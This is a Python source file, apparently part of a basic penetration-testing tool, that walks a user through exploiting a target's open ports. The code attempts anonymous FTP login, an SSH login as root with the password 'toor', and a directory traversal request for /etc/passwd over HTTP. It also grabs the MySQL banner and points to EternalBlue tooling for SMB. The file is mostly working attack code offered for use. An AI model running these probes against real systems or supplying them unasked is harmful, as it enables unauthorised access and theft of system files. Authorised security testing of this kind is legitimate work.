exploitation.py

import socket
import paramiko  # For SSH exploits
import requests  # For HTTP-based exploits
import ftplib    # For FTP exploits

class Exploitation:
    def __init__(self, target, open_ports, services):
        self.target = target
        self.open_ports = open_ports
        self.services = services

    def interactive_mode(self):
        print("\n[+] Entering Exploitation Mode...")
        while True:
            print("\n[!] Open Ports:")
            for idx, port in enumerate(self.open_ports):
                print(f"{idx + 1}. {port}/tcp - {self.services[port]}")
            print("0. Exit")

            try:
                choice = int(input("\nSelect a port to exploit (0 to exit): "))
                if choice == 0:
                    print("[!] Exiting Exploitation Mode.")
                    break
                elif 1 <= choice <= len(self.open_ports):
                    selected_port = self.open_ports[choice - 1]
                    self.exploit_port(selected_port)
                else:
                    print("[!] Invalid choice. Try again.")
            except ValueError:
                print("[!] Please enter a valid number.")

    def exploit_port(self, port):
        print(f"\n[+] Exploiting Port {port} ({self.services[port]})...")
        if port == 21:
            self.ftp_exploit()
        elif port == 22:
            self.ssh_exploit()
        elif port == 80 or port == 443:
            self.http_exploit(port)
        elif port == 445:
            self.smb_exploit()
        elif port == 3306:
            self.mysql_exploit()
        else:
            print(f"[!] No exploitation module available for port {port}.")

    def ftp_exploit(self):
        print("[+] Testing for anonymous FTP login...")
        try:
            ftp = ftplib.FTP(self.target)
            ftp.login()  # Attempt anonymous login
            print(f"[+] Anonymous login successful on FTP server!")
            ftp.quit()
        except Exception as e:
            print(f"[-] Anonymous login failed: {e}")

    def ssh_exploit(self):
        print("[+] Testing SSH connection...")
        try:
            ssh = paramiko.SSHClient()
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            ssh.connect(self.target, port=22, username="root", password="toor")  # Example credentials
            print(f"[+] Successfully logged in to SSH on {self.target}")
            ssh.close()
        except paramiko.AuthenticationException:
            print("[-] SSH authentication failed. Weak credentials might not be present.")
        except Exception as e:
            print(f"[-] SSH connection failed: {e}")

    def http_exploit(self, port):
        print(f"[+] Testing HTTP service on port {port}...")
        url = f"http://{self.target}:{port}/"
        try:
            response = requests.get(url, timeout=5)
            print(f"[+] HTTP Response: {response.status_code}")
            print(f"[+] Possible vulnerability test: Directory Traversal (e.g., ../../etc/passwd)")
            test_url = f"{url}../../etc/passwd"
            test_response = requests.get(test_url)
            if "root:" in test_response.text:
                print("[+] Directory Traversal vulnerability detected!")
            else:
                print("[-] Directory Traversal not detected.")
        except Exception as e:
            print(f"[-] HTTP test failed: {e}")

    def smb_exploit(self):
        print("[+] Testing SMB service...")
        print("[!] Testing for EternalBlue vulnerability (CVE-2017-0144)...")
        # Placeholder: Requires third-party tools like Impacket or Metasploit to fully exploit
        print("[-] SMB exploitation requires external tools. Use Impacket or Metasploit for detailed exploitation.")

    def mysql_exploit(self):
        print("[+] Testing MySQL service...")
        try:
            conn = socket.create_connection((self.target, 3306), timeout=5)
            banner = conn.recv(1024).decode("utf-8", "ignore").strip()
            print(f"[+] MySQL Banner: {banner}")
            print("[+] Test for weak credentials or try connecting manually with a MySQL client.")
            conn.close()
        except Exception as e:
            print(f"[-] MySQL connection failed: {e}")